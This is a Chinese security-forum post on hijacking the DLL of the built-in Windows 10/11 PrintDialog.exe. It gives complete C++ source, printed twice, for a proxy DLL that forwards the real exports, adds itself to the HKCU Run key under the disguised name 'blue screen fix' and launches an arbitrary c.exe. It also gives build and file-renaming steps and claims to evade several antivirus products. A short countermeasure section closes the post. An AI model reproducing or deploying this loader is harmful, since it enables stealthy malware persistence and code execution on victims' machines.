Windows10/11 内置组件 dll劫持
Bat-Hibara 发表于 甘肃 漏洞分析 279浏览 · 2024-11-23 15:34
  • 0.1序言:
    本文公开了一个windows内置组件打印机的dll易劫持,我会从两个角度去讲如何复现这个漏洞,分别是工具扫:灰梭子,手工打点:IDA使用,不要乱搞,不要搞违法犯罪的事,我不会用太过啰嗦的语言阐述,本文将以简短的干货为核心。
  • 0.2环境配置 win10/win11(文末提供x86程序下载,对于win7效果并不如win10可观,故不做具体说明)
    目标位置:C:\Windows\PrintDialog\PrintDialog.exe
  • 0.3经测试,该程序由于是windows系统程序,其黑白文件都可实现久存不杀,所以其危害度可见一斑。

  • 一:灰梭子/(ZeroEye2.0本文不展现)
    ·将dll导入灰梭:

·劫持该dll,导出到当前目录

·然后新建一个vs项目,选C++,把这玩意都导入进去

代码如下:

#include <windows.h>


#pragma comment(linker, "/EXPORT:DllCanUnloadNow=LGF_DllCanUnloadNow,@1")
#pragma comment(linker, "/EXPORT:DllGetActivationFactory=LGF_DllGetActivationFactory,@2")



extern "C" {

    PVOID pLGF_DllCanUnloadNow;
    PVOID pLGF_DllGetActivationFactory;

//----------------------------------------------------------

    void LGF_DllCanUnloadNow(void);
    void LGF_DllGetActivationFactory(void);

};

static HMODULE  g_OldModule = NULL;

// 加载原始模块
__inline BOOL WINAPI Load()
{

    g_OldModule = LoadLibraryA("post.dll"); //读取当前路径下的源dll(名字随意,但要路径要对)
    if (g_OldModule == NULL)
    {
        MessageBoxA(NULL, "模块错误", "零攻防", MB_ICONSTOP);
    }

    return (g_OldModule != NULL);
}

// 释放原始模块
__inline VOID WINAPI Free()
{
    if (g_OldModule)
    {
        FreeLibrary(g_OldModule);
    }
}
// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
    FARPROC fpAddress;
    fpAddress = GetProcAddress(g_OldModule, pszProcName);
    if (fpAddress == NULL)
    {
        MessageBoxA(NULL, "函数错误", "零攻防", MB_ICONSTOP);
    }
    return fpAddress;
}

// 初始化获取原函数地址
BOOL WINAPI Init()
{
    if (NULL == (pLGF_DllCanUnloadNow = GetAddress("DllCanUnloadNow")))
        return FALSE;
    if (NULL == (pLGF_DllGetActivationFactory = GetAddress("DllGetActivationFactory")))
        return FALSE;


    return TRUE;
}


#include <windows.h>
#include <cstdio> // 添加此头文件以使用 snprintf
#include <Shlwapi.h> // 添加此头文件以使用 PathRemoveFileSpecA
#pragma comment(lib, "Shlwapi.lib") // 链接 Shlwapi 库

// 声明外部定义的函数
BOOL Load();
BOOL Init();
void Free();

// 在同一目录下启动指定程序的函数
void LaunchProgramInSameDirectory()
{
    CHAR modulePath[MAX_PATH];
    CHAR programPath[MAX_PATH];
    GetModuleFileNameA(NULL, modulePath, MAX_PATH);

    // 获取当前模块目录路径,移除模块名
    PathRemoveFileSpecA(modulePath);

    // 指定要启动的程序名(例如 "c.exe")
    _snprintf_s(programPath, MAX_PATH, "%s\\c.exe", modulePath);

    // 设置进程启动信息
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // 创建进程
    if (!CreateProcessA(programPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
    {
        // 如果创建失败,处理错误
        DWORD error = GetLastError();
        // 可选:记录或显示错误信息
    }
    else
    {
        // 关闭新进程及其主线程的句柄
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

// 添加 DLL 自身到启动项的函数
void AddDllToStartup()
{
    HKEY hKey = NULL;
    LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    if (result == ERROR_SUCCESS)
    {
        CHAR modulePath[MAX_PATH];
        GetModuleFileNameA(NULL, modulePath, MAX_PATH);

        // 获取当前模块文件名
        CHAR* fileName = PathFindFileNameA(modulePath);

        // 拼接完整的启动项值
        CHAR startupValue[MAX_PATH];
        _snprintf_s(startupValue, MAX_PATH, "%s", modulePath);

        // 写入注册表
        RegSetValueExA(hKey, "蓝屏修复", 0, REG_SZ, (const BYTE*)startupValue, strlen(startupValue) + 1);

        RegCloseKey(hKey);
    }
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);

        if (Load() && Init())
        {
            MessageBoxA(NULL, "ceshi", "零攻防", MB_ICONSTOP);/*
                自增代码
            */
            AddDllToStartup(); // 将 DLL 自身添加到启动项
            LaunchProgramInSameDirectory(); // 启动指定程序
            return TRUE;
        }
        else
        {
            return FALSE;
        }
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        Free();
    }

    return TRUE;
}

·然后编译,导出dll,把原dll改名post.dll,把黑dll改名PrintDialog.dll,准备好需要打开的c.exe,双击执行,结束。

  • 二:手工分析:(本文重点)
    · 先将程序脱离dll执行看看:

报错了,说明该程序必须依赖PrintDialog.dll执行,那么我们对其劫持
· 将dll导入IDA

发现有一堆函数,我们添加dll关键词进行筛选,得到如下结果

发现两个很有意思的函数:

-DllCanUnloadNow:‌DllCanUnloadNow函数的主要作用是确定一个DLL是否可以被卸载。‌
当你在使用COMComponent Object Model)技术时,可能会动态加载一些DLL(动态链接库)。这些DLL在完成其任务后,需要被安全地从内存中卸载,以避免资源泄露。DllCanUnloadNow函数就是用来检查当前是否还有对象在使用这个DLL,如果没有,则可以将DLL从内存中卸载
-DllEntryPoint:‌DllEntryPoint函数‌是动态链接库(DLL)中的一个入口点函数,用于在DLL被加载或卸载时执行特定的初始化或清理操作。如果DLL定义了入口点函数,每当进程加载或卸载DLL时,系统会调用这个函数,从而执行一些简单的初始化和清理任务
``
我们不妨对其劫持:
```cpp

extern "C" { // 指示编译器按照C语言的方式来处理下面的代码,防止名称在编译过程中被修改

    // 声明两个指向函数的指针,类型为PVOID
    // PVOID是指向任意类型的指针,它通常用于不确定指针类型的情况
    PVOID pLGF_DllCanUnloadNow;        // 指向LGF_DllCanUnloadNow函数的指针
    PVOID pLGF_DllGetActivationFactory; // 指向LGF_DllGetActivationFactory函数的指针

    // 函数声明,实际上在其他地方会有对应的函数定义
    void LGF_DllCanUnloadNow(void);           // 声明LGF_DllCanUnloadNow函数,表示该DLL是否可以卸载
    void LGF_DllGetActivationFactory(void);   // 声明LGF_DllGetActivationFactory函数,获取一个激活工厂};

然后利用这个函数,构造payload(我选择直接套用模板):

#include <windows.h> // 包含Windows API的头文件

// 指定链接器选项,导出DLL中的函数名称
#pragma comment(linker, "/EXPORT:DllCanUnloadNow=LGF_DllCanUnloadNow,@1")
#pragma comment(linker, "/EXPORT:DllGetActivationFactory=LGF_DllGetActivationFactory,@2")

// 使用extern "C"来防止C++编译器对名称进行修改,以便于C语言链接
extern "C" {
    PVOID pLGF_DllCanUnloadNow;        // 指向LGF_DllCanUnloadNow函数的指针
    PVOID pLGF_DllGetActivationFactory; // 指向LGF_DllGetActivationFactory函数的指针
    void LGF_DllCanUnloadNow(void);           // 声明LGF_DllCanUnloadNow函数
    void LGF_DllGetActivationFactory(void);   // 声明LGF_DllGetActivationFactory函数
};
// 声明一个全局静态变量,用于存储原始模块句柄
static HMODULE  g_OldModule = NULL;

// 加载原始模块
__inline BOOL WINAPI Load()
{
    g_OldModule = LoadLibraryA("post.dll"); // 加载名为post.dll的动态链接库
    if (g_OldModule == NULL) // 检查加载是否成功
    {
        MessageBoxA(NULL, "eRROR", "Error", MB_ICONSTOP); // 弹出错误信息
    }

    return (g_OldModule != NULL); // 返回加载结果
}

// 释放原始模块
__inline VOID WINAPI Free()
{
    if (g_OldModule) // 如果原始模块已加载
    {
        FreeLibrary(g_OldModule); // 释放模块
    }
}

// 获取原始函数地址
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
    FARPROC fpAddress; // 定义一个指针,用于存储函数地址
    fpAddress = GetProcAddress(g_OldModule, pszProcName); // 获取指定函数的地址
    if (fpAddress == NULL) // 检查获取是否成功
    {
        MessageBoxA(NULL, "Error", "Error", MB_ICONSTOP); // 弹出错误信息
    }
    return fpAddress; // 返回函数地址
}

// 初始化获取原函数地址
BOOL WINAPI Init()
{
    // 获取两个函数的地址并存储到对应的指针中
    if (NULL == (pLGF_DllCanUnloadNow = GetAddress("DllCanUnloadNow")))
        return FALSE; // 如果获取失败,返回FALSE
    if (NULL == (pLGF_DllGetActivationFactory = GetAddress("DllGetActivationFactory")))
        return FALSE; // 如果获取失败,返回FALSE

    return TRUE; // 成功返回TRUE
}

#include <windows.h> // 再次包含Windows API头文件
#include <cstdio> // 添加此头文件以使用snprintf
#include <Shlwapi.h> // 添加此头文件以使用PathRemoveFileSpecA
#pragma comment(lib, "Shlwapi.lib") // 链接Shlwapi库

// 声明外部定义的函数
BOOL Load(); // 声明Load函数
BOOL Init(); // 声明Init函数
void Free(); // 声明Free函数

// 在同一目录下启动指定程序的函数
void LaunchProgramInSameDirectory()
{
    CHAR modulePath[MAX_PATH]; // 存储当前模块路径的字符串
    CHAR programPath[MAX_PATH]; // 存储要启动的程序路径的字符串
    GetModuleFileNameA(NULL, modulePath, MAX_PATH); // 获取当前模块的完整路径

    // 获取当前模块目录路径,移除模块名
    PathRemoveFileSpecA(modulePath);

    // 指定要启动的程序名(例如 "c.exe")
    _snprintf_s(programPath, MAX_PATH, "%s\\c.exe", modulePath); // 拼接完整的程序路径

    // 设置进程启动信息
    STARTUPINFOA si = { sizeof(si) }; // 初始化STARTUPINFOA结构体
    PROCESS_INFORMATION pi; // 存储进程信息的结构体

    // 创建进程
    if (!CreateProcessA(programPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
    {
        // 如果创建失败,处理错误
        DWORD error = GetLastError(); // 获取最后一个错误代码
        // 可选:记录或显示错误信息
    }
    else
    {
        // 关闭新进程及其主线程的句柄
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

// 添加DLL自身到启动项的函数
void AddDllToStartup()
{
    HKEY hKey = NULL; // 注册表项句柄
    // 创建或打开注册表键
    LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    if (result == ERROR_SUCCESS) // 如果成功
    {
        CHAR modulePath[MAX_PATH]; // 存储当前模块路径的字符串
        GetModuleFileNameA(NULL, modulePath, MAX_PATH); // 获取当前模块的完整路径

        // 获取当前模块文件名
        CHAR* fileName = PathFindFileNameA(modulePath);

        // 拼接完整的启动项值
        CHAR startupValue[MAX_PATH];
        _snprintf_s(startupValue, MAX_PATH, "%s", modulePath); // 拼接模块路径

        // 写入注册表
        RegSetValueExA(hKey, "蓝屏修复", 0, REG_SZ, (const BYTE*)startupValue, strlen(startupValue) + 1); // 写入启动项

        RegCloseKey(hKey); // 关闭注册表句柄
    }
}

// DLL主入口点
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH) // 如果是进程附加
    {
        DisableThreadLibraryCalls(hModule); // 禁用线程库调用,以提高性能

        if (Load() && Init()) // 尝试加载模块和初始化
        {
            AddDllToStartup(); // 将DLL自身添加到启动项
            LaunchProgramInSameDirectory(); // 启动指定程序
            return TRUE; // 返回TRUE表示成功
        }
        else
        {
            return FALSE; // 加载或初始化失败,返回FALSE
        }
    }
    else if (dwReason == DLL_PROCESS_DETACH) // 如果是进程分离
    {
        Free(); // 释放资源
    }
    return TRUE; // 默认返回TRUE
}
  • 三,运行效果:
    在同时开启360和晶防御,火绒全防御,管家全保护的情况下成功对c.exe添加了自启动

  • 四,反制:
    检查注册表是否有ico为

这种样式的,如果有,进入该目录,

将名为:PrintDialog.dll的文件导入IDA,F5检查

再对

进行检查:

然后将分析出来的程序拖入VM,打开火绒剑开始抓心跳‌

0 条评论
某人
表情
可输入 255
目录